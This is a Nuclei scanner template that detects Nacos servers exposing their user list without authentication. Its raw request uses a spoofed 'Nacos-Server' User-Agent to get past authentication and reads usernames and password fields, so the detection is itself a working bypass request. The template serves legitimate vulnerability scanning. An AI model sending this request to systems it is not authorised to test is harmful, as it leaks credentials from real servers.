nuclei-templates/misconfiguration/unauthenticated-nacos-access.yaml

id: unauthenticated-nacos-access

info:
  name: Unauthenticated Nacos access
  author: taielab
  severity: critical

  # References:
  # - https://github.com/alibaba/nacos/issues/4593

requests:
  - raw:
      - |
        GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Length: 2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '"username":'
          - '"password":'
          - '"totalCount":'
        condition: and
        part: body
      - type: status
        status:
          - 200